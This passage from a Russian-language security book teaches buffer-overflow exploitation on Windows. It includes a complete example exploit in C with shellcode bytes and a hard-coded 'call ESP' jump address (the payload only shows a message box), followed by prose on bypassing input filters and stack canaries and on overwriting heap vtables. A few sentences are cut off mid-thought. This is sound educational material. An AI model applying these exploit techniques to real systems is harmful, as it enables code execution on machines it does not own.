Защита от хакеров корпоративных сетей
Шрифт:
findjmp kernel32.dll ESP
Программа выдаст такой отчет:
Scanning kernel32.dll for code useable with the ESP register
0x77E8250A call ESP
Finished Scanning kernel32.dll for code useable with the ESP
register
Found 1 usable addressesПодменив перед командой ret сохраненное в стеке значение регистра EIP на значение 0x77E8250A, по команде ret это значение (адрес команды call ESP) будет загружено в указатель команд EIP. Процессор выполнит команду call ESP, которая передаст управление по содержимому регистра ESP, то есть в область стека c программным кодом полезной нагрузки. В программе переполнения буфера адрес точки перехода определяется следующим образом:
DWORD EIP=0x77E8250A; // a pointer to a
//call ESP in KERNEL32.dll
//found with findjmp.cПосле этого адрес записывается в буфер writeme после 12 байт заполнителя: memcpy(writeme+12,&EIP,4); //overwrite EIP here Запись программного кода полезной нагрузки. Наконец пришло время написать программный код полезной нагрузки и средства его загрузки. Поскольку он демонстрирует основные положения переполнения буфера, то код очень прост: программа выводит окно сообщений с приветствием «HI». Обычно рекомендуется написать прототип программного кода полезной нагрузки на языке C, а затем преобразовывать его в ассемблерный код. Прототип программного кода полезной нагрузки на языке C выводит окно сообщений с помощью функции MessageBox:
MessageBox (NULL, “hi”, NULL, MB_OK);
Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся дизассемблером или отладчиком. Прежде всего следует решить, как вызвать экспортируемую из динамически подключаемой библиотеки user32.dll функцию MessageBox. Нельзя
LoadLibraryA(“User32”); MessageBox(NULL, “hi”, NULL, MB_OK);
Функция LoadLibraryA по умолчанию подразумевает расширение имени динамически подключаемой библиотеки «.dll», поэтому имя библиотеки user32.dll указано без расширения. Это позволит уменьшить размер программного кода полезной нагрузки на 4 байта.
Теперь вместе с программой будет загружена динамически подключаемая библиотека user32.dll, а значит, и код функции MessageBox. Тем самым будут обеспечены все функциональные возможности для успешной работы программного кода полезной нагрузки.
Последнее, на что следует обратить внимание. После передачи управления программному коду полезной нагрузки и его выполнения атакованная программа, вероятнее всего, завершится аварийно, поскольку она попытается выполнить данные стека после кода полезной нагрузки. Это нехорошо. Поэтому процесс должен быть завершен функцией ExitProcess. В результате заключительный исходный текст прототипа программного кода полезной нагрузки на языке C перед преобразованием в код ассемблера приобретает следующий вид:LoadLibraryA(“User32”);
MessageBox(NULL, “hi”, NULL, MB_OK);
ExitProcess(1);Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся встроенным ассемблером компилятора Visual C, а затем перенесем результат трансляции в буфер BYTE.
Вместо того чтобы в этом месте привести пример соответствующего программного кода ассемблера, будет лучше, если читатель просмотрит приведенный ниже пример программы переполнения буфера, в которой создается файл, инициализируется заполнителем буфер, определяется точка перехода, в буфер записывается программный код полезной загрузки и, наконец, буфер выгружается в файл.
При желании перед записью программного кода полезной нагрузки в файл можно оттестировать его. Для этого следует убрать комментарии в части кода, отмеченного как тест. Это приведет к выполнению программного кода полезной нагрузки вместо записи его в файл.
Приведенная ниже программа была написана как пример программирования основных положений переполнения буфера. В ней использованы определенные символическими константами адреса используемых функций, поэтому она может не работать на системе, несовместимой с Win2k sp2.
Программа проста и непереносима. Для ее работы на других платформах следует заменить значения символических констант, определенных макросами #define, на правильные адреса используемых функций. Адреса можно узнать с помощью утилит Visual Studio depends.exe или dumpbin.exe.
Изюминка приведенной программы заключается в нестандартном использовании команды call. Нестандартное применение команды call позволяет загрузить в стек адрес строки символов, расположенной следом за командой call. Это позволяет не только включить данные в программный код, но и не требует знания адреса загрузки программного кода полезной нагрузки или смещений в управляющем коде.
Другими словами, команда call записывает в стек адрес следующей за ней строки, полагая, что записывает адрес команды, которая будет выполнена по завершении функции командой ret. Аналогичный прием был использован в программе переполнения буфера для Linux.
Для безошибочной трансляции программы компилятором Visual Studio при включении строки символов в программный код требуется использовать директиву _emit.#include <Windows.h>
/*
Example NT Exploit
Ryan Permeh, ryan@eeye.com
*/
int main(int argc,char **argv)
{
#define MBOX 0x77E375D5
#define LL 0x77E8A254
#define EP 0x77E98F94
DWORD EIP=0x77E8250A; // a pointer to a
//call ESP in KERNEL32.dll
//found with findoffset.c
BYTE writeme[65]; //mass overflow holder
BYTE code[49] ={
0xE8, 0x07, 0x00, 0x00, 0x00, 0x55,
0x53, 0x45, 0x52, 0x33, 0x32, 0x00,
0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF,
0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8,
0x03, 0x00, 0x00, 0x00, 0x48, 0x49,
0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,
0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01,
0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF,
0xD0
};
HANDLE file;
DWORD written;
/*
__asm
{
call tag1 ; jump over(trick push)
_emit 0x55 ; “USER32”,0x00
_emit 0x53
_emit 0x45
_emit 0x52
_emit 0x33
_emit 0x32
_emit 0x00
tag1:
// LoadLibrary(“USER32”);
mov EAX, LL ;put the LoadLibraryA
address in EAX
call EAX ;call LoadLibraryA
push 0 ;push MBOX_OK(4th arg to mbox)
push 0 ;push NULL(3rd arg to mbox)
call tag2 ; jump over(trick push)
_emit 0x48 ; “HI”,0x00
_emit 0x49
_emit 0x00
tag2:
push 0 ;push NULL(1st arg to mbox)
// MessageBox (NULL, “hi”, NULL, MB_OK);
mov EAX, MBOX ;put the MessageBox
address in EAX
call EAX ;Call MessageBox
push 1 ;push 1 (only arg
to exit)
// ExitProcess(1);
mov EAX, EP ; put the
ExitProcess address in EAX
call EAX ;call ExitProcess
}
*/
/*
char *i=code; //simple test code pointer
//this is to test the code
__asm
{
mov EAX, i
call EAX
}
*/
/* Our overflow string looks like this:
[0x90*12][EIP][code]
The 0x90(nop)’s overwrite the buffer, and the saved EBP on
the stack, and then EIP replaces the saved EIP on the stack.
The saved EIP is replaced with a jump address that points to
a call ESP. When call ESP executes, it executes our code
waiting in ESP.*/
memset(writeme,0x90,65); //set my local string to nops
memcpy(writeme+12,&EIP,4); //overwrite EIP here
memcpy(writeme+16,code,49); // copy the code into our
temp buf
//open the file
file=CreateFile(“badfile”,GENERIC_WRITE,0,NULL,
OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
//write our shellcode to the file
WriteFile(file,writeme,65,&written,NULL);
CloseHandle(file);
//we’re done
return 1;
}Современные способы переполнения буфера
После изучения обязательного минимума пришло время познакомиться с современными способами переполнения буфера. Одни из них применимы повсеместно, другие – в частных случаях. С течением времени злоумышленники узнают о переполнении буфера все больше, поэтому сегодня для успешной защиты от атак переполнения буфера необходимо знать изощренные способы извлечения из него пользы.
Фильтрация входных данных
Современные программисты, стремясь как можно лучше защититься от атак переполнения буфера, начинают создавать программы, которые перед записью входных данных в буфер проверяют, нет ли в них выполняемого программного кода. Подобные программы серьезно затрудняют деятельность злоумышленника, не позволяя ему запросто поместить злонамеренный код в программе. Большие неприятности сулят нулевые байты в буфере, поэтому современные программисты тщательно исследуют безопасность записываемых в буфер данных.
Способов анализа безопасности данных много, и каждый из них по-своему препятствует переполнению буфера.
Например, некоторые программисты проверяют значения входных данных. Если ожидается ввод чисел, то перед записью в буфер проверяется, является ли каждое введенное значение числом. В стандартной библиотеке языка C есть несколько функций, которые проверяют значение введенных данных. Ниже приведены некоторые из них для платформы Win32. Для работы в 16-битном стандарте кодирования символов Unicode существуют аналогичные функции проверки «широких» символов.
int isalnum( int c ); checks if it is in A-Z,a-z,0-9
int isalpha( int c ); checks if it is in A-Z,a-z
int __isascii( int c ); checks if it is in 0x00-0x7f
int isdigit( int c ); checks if it is in 0-9
isxdigit( int c ); checks if it is in 0-9, A-FПодобные функции реализованы во многих библиотеках С для UNIX.
Хорошая программа переполнения буфера должна преодолевать фильтрацию входных данных. Для этого создаются специальные программы кодирования входных данных, позволяющие обмануть фильтрацию.
Было проведено много исследований в области создания
Другой способ преодоления проверки входных данных заключается в том, чтобы избежать фильтрации данных. Например, присвоив переменной окружения или переменной сессии двоичную строку программного кода полезной нагрузки, можно сократить число байтов, которые должны удовлетворять условиям проверки входных данных.
Частичное переполнение буфера и искажение данныхВ последнее время значительно увеличилось число программистов, начавших использовать строковые функции с ограничениями, например функцию strncpy вместо strcpy. Этих программистов научили, что функции с ограничениями защищают от переполнения буфера. Как же они удивятся, когда узнают, что зачастую применяют их неправильно.
Широко известна общая ошибка использования функций с ограничениями, получившая название «минус один», когда максимальная длина записываемой в буфер строки приравнивается размеру буфера. При этом часто забывают об обязательном признаке конца строки – завершающем строку нулевом байте. Некоторые функции с ограничениями могут не включать в строку завершающего символа, позволяя строке незаметно слиться со строкой из рядом расположенного буфера. Если позднее обратиться к ней, то два буфера могут рассматриваться как один, способствуя переполнению буфера.
Рассмотрим пример:[buf1 – 32 bytes \0][buf2 – 32 bytes \0]
После записи в буфер в bufl ровно 32 байтов два буфера выглядят следующим образом:
[buf1 – 32 bytes of data ][buf2 – 32 bytes \0]
Любая последующая попытка переслать из буфера bufl данные может привести к копированию 64-байтной строки данных и переполнению буфера, в который записываются данные.
Другое часто встречающееся неверное использование функций с ограничениями заключается в ошибках программирования или в неправильном расчете контролирующих величин во время выполнения программы. Это может произойти из-за нелепой ошибки или несогласованных изменений в программе в процессе разработки, например в программе был определен буфер фиксированного размера, размер которого не был откорректирован в соответствии с внесенными в программу изменениями. Помните, что размер обрабатываемых данных должен быть согласован с размером буфера получателя информации, а не ее источника. Известны примеры использования в проверках функций strlen, которые во время выполнения программы подсчитывали число байт в буфере, из которого данные копировались. Эта простая ошибка делает бесполезной любую проверку размеров буферов.
Опасно переполнение не только всего стека, но и так называемое частичное переполнение буфера, когда в стеке происходит подмена не всех, а только отдельных сохраненных значений. Месторасположение буфера в стеке и контроль адресов, по которым копируются в буфер данные, могут сделать невозможным запись в буфер такого количества данных, чтобы при переполнении буфера добраться до области хранения в стеке значения регистра EIP и подменить его. В этом случае при помощи команды ret нельзя передать управление нужной программе, но возможность контроля процессора сохраняется. Для этого можно попытаться подменить содержимое регистра EBP или доступные данные в стеке. Позднее этим можно воспользоваться для взятия под свой контроль атакуемой программы, чтобы заставить ее выполнить не предусмотренные в ней действия.
Например, на сайте www.phrack.org была опубликована статья, в которой рассказан способ получения контроля над вызванной функцией путем изменения единственного байта сохраненного в стеке содержимого регистра EBP. Познакомиться со статьей можно по адресу www.phrack.org/show.php?p=55&a=8.
Побочный эффект проявляется при переполнении буфера вблизи вершины стека, рядом с которым сначала находится область сохранения критических данных, а затем содержимое регистра EIP. При подмене этих данных предпочтительнее было бы завершить работу уязвимой программы, чем позволить злоумышленнику воспользоваться ею. Часто после подмены критических данных программа пытается выполниться с поврежденным стеком. Для противодействия подобным атакам переполнения буфера были придуманы, например, системы, защищенные проверочными величинами (canary-protected systems). В этих системах перед командой завершения функции ret проверяется целостность сохраненных в стеке проверочных величин. Если их целостность нарушена, то, как правило, программа завершается. Но и они не гарантируют полной защиты. Если проверочные величины не псевдослучайные величины, то их можно восстановить. При использовании неизменяемых проверочных величин, а для контроля целостности иногда используются и они, можно подменить данные стека при переполнении буфера, но при этом восстановить проверочные величины для обхода проверки.
Перезапись указателя функции в стеке
Иногда программисты сохраняют в стеке указатели функций и затем по мере необходимости используют их. Часто указатели используются там, где требуется динамически изменять часть программы. Машины сценариев (scripting engines; машина сценариев – приложение, способное выполнять сценарии (script), написанные наязыке сценариев, например VBScript или JavaScript) и программы синтаксического анализа часто пользуются этим приемом. Указатель функции – это адрес, по которому будет передано управление командой вызова функции call прямо или косвенно, основываясь на сохраненных в стеке данных. При подмене в стеке указателей можно будет управлять вызовами функций, не влияя на содержимое регистра EIP.
Чтобы воспользоваться указателем функции в стеке, следует вместо подмены содержимого регистра EIP подменить часть стека с сохраненным адресом функции. Подмена указателя вызываемой функции, как и перезапись области хранения содержимого регистра EIP, позволит выполнить нужный программный код. Нужно только выяснить содержимое регистров и написать программу переполнения буфера, что вполне возможно.
Переполнения области динамически распределяемой памяти
До сих пор в главе описывались атаки на буфер памяти, размещенный в стеке. Известны простые способы влияния на работу программы, если ее буфер данных расположен в стеке. Поэтому можно считать, что вопросы переполнения буфера хорошо изучены. Кроме стека, в программе используется еще один тип распределения памяти – область динамически распределяемой памяти («куча»).
Функции malloc- типа HeapAlloc, malloc и new выделяют программе область динамически распределяемой памяти, а функции HeapFree, free и delete освобождают ее. Управляет областью динамически распределяемой памяти компонента операционной системы, известная как менеджер кучи (heap manager), который выделяет динамически распределяемую память процессам, обеспечивая при необходимости увеличение ее размера.
Динамически распределяемая память отличается от памяти стека тем, что это постоянный объект, время жизни которого не ограничено временем выполнения создавшей и использующей его функции. Это означает, что распределенная функцией динамически распределяемая память остается распределенной, пока она не будет явно освобождена. Поэтому переполнение динамически распределяемой памяти может никак не отразиться на работе программы до тех пор, пока она не будет повторно использована. В динамически распределяемой памяти не хранится что-либо похожее на содержимое регистра EIP, но в ней часто хранятся не менее важные вещи.
Подобно сохранению указателей функций в стеке, указатели функции могут быть сохранены в динамически распределяемой памяти.
Разрушение указателя функцииОсновная уловка, применяемая к динамически распределяемой памяти, – разрушение указателя функции. Для этого существует много способов. Для начала можно попробовать подменить один объект из динамически распределяемой памяти на другой из соседней «кучи». Объекты класса и структуры часто хранятся в динамически распределяемой памяти, поэтому такая возможность существует. Например, для этого можно воспользоваться простым для понимания способом, известным под названием «нарушение границы» или «посягательство на объект» (trespassing).
Нарушение границы динамически распределяемой памяти В приведенном ниже примере два объекта класса размещены в динамически распределяемой памяти. При переполнении статического буфера одного из них нарушаются границы соседнего объекта. В результате во втором объекте перезаписывается указатель vtable – указатель таблицы виртуальных функций (virtual-function table pointer). Перезапись указателя виртуальных функций во втором объекте приводит к тому, что он начинает указывать на заранее подготовленный буфер – заготовку Троянской таблицы, куда затем записываются новые адреса функций класса. Один из них – адрес деструктора. Перезапись адреса деструктора приводит к вызову нового деструктора при удалении объекта. Указанным способом можно управлять любой программой по своему усмотрению – достаточно изменить указатель деструктора таким образом, чтобы он указывал на программный код полезной нагрузки. Единственное, что может помешать, – это нулевой указатель в списке адресов объектов динамически распределяемой памяти. Тогда программный код полезной нагрузки должен быть или размещен в области, указатель на которую не равен нулю, или следует воспользоваться одним из ранее изученных способов работы со стеком для загрузки в регистр EIP адреса перехода на нужную программу. Этот способ демонстрируется следующей программой.